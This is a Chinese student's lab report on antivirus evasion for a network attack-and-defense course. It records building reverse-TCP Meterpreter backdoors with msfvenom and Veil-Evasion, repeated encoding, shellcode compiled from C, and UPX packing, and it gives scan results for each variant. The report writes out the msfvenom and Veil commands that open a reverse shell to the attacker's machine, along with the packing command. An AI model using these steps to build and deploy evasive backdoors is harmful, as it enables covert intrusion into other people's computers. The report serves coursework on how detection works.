20155321 《网络攻防》 Exp3 免杀原理与实践
基础问题回答
-
杀软是如何检测出恶意代码的?
- 根据实验指导书,杀软有两个方法可以检测出恶意代码。第一种是基于特征码,即先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。第二种是基于行为,即杀软通过检测程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等等行为进行判断,但此方法有一定的错误率,相当于如果你做了别人应该做的事,那我就认为你是别人。
-
免杀是做什么?
- 即使用一些技巧避开杀软的检测方法,使自己的恶意代码可以存活下去,实现成功入侵。
-
免杀的基本方法有哪些?
- 基本方法我认为有以下几种:
- 对恶意代码进行编码编译,但这种好像不太行,很多软件都可检测出来
- 对恶意代码进行加壳
- 利用shellcode进行编码
- 使用反弹式
- 基本方法我认为有以下几种:
实验过程记录
使用msf生成后门程序的检测
- 我使用上周实验时产生的执行文件用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:
- 尝试编码一次再进行扫描看看结果
从上图可以看出,就算是进行了一次编码,但从结果上看杀毒软件还是可以检测出来。 - 编码十次再看看结果
从上图可以看出,即使是编码了10遍,但从结果上看依旧没有任何变化。。。正如大家所说,毕竟是研究编码的人写的。。。
使用veil-evasion生成后门程序的检测
- 安装Veil-Evasion
- 因我的kali机是64位的,按照网上提供的教程安装Veil-Evasion时总是出现许多error,重装了好几次也还是没能解决,最后还把自己的虚拟机搞崩了,最后我采用了32位的虚拟机进行实验终于成功了,安装成功后如下图所示
- 依次输入命令
use python/meterpreter/rev_tcp
设置payload,输入命令set LHOST 192.168.23.139
设置反弹连接IP(此IP为kali机的IP地址),输入命令set LPORT 5321
设置反弹端口5321,输入命令generate
生成程序,最后输入后门程序名称即可,即可下图为生成的后门程序lrt5321
- 找到该生成的文件
lrt5321.exe
,路径为/var/lib/veil-evasion/output/compiled
- 进行扫描看看结果
- 因我的kali机是64位的,按照网上提供的教程安装Veil-Evasion时总是出现许多error,重装了好几次也还是没能解决,最后还把自己的虚拟机搞崩了,最后我采用了32位的虚拟机进行实验终于成功了,安装成功后如下图所示
利用shellcode编写后门程序的检测
-
使用msf生成一个C语言格式的shellcode,即输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c
(其中,LHOST输入kali机的地址,LPORT输入自己的学号)后进行编译
-
把以上数组的内容写入.C文件里
-
编译此.c文件生成可执行文件并进行扫描看看结果
-
而我主机的Windows defender也检测出了此木马文件
加壳
- upx是一种压缩程序,可以实现加壳的功能,该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名
- 进行扫描看看结果
可以看出还是可以发现有木马,但时发现的比例已经低了许多 - 放在主机上测测看是否能被Windows defender查出,结果还是被查出来了哈哈
实践总结与体会
我觉得通过此次免杀的实验,让我对自己计算机的防火墙有一丝担忧,虽然目前实验内的病毒,只要放在主机上,我的Windows defender几乎都可以查出来,但是我感觉黑客们的免杀技术也是会不断提高的。。
实验中遇到的问题
- 一开始直接用上个实验的文件网页好像不支持这种命名格式,如下图所示:
后来发现只要文件名中不含数字即可。
离实战还缺些什么技术或步骤?
- 我认为还是可以通过其他方法获取被攻击主机的相关信息来进行提权,毕竟我认为找人的漏洞比找计算机的漏洞好像要容易一点。。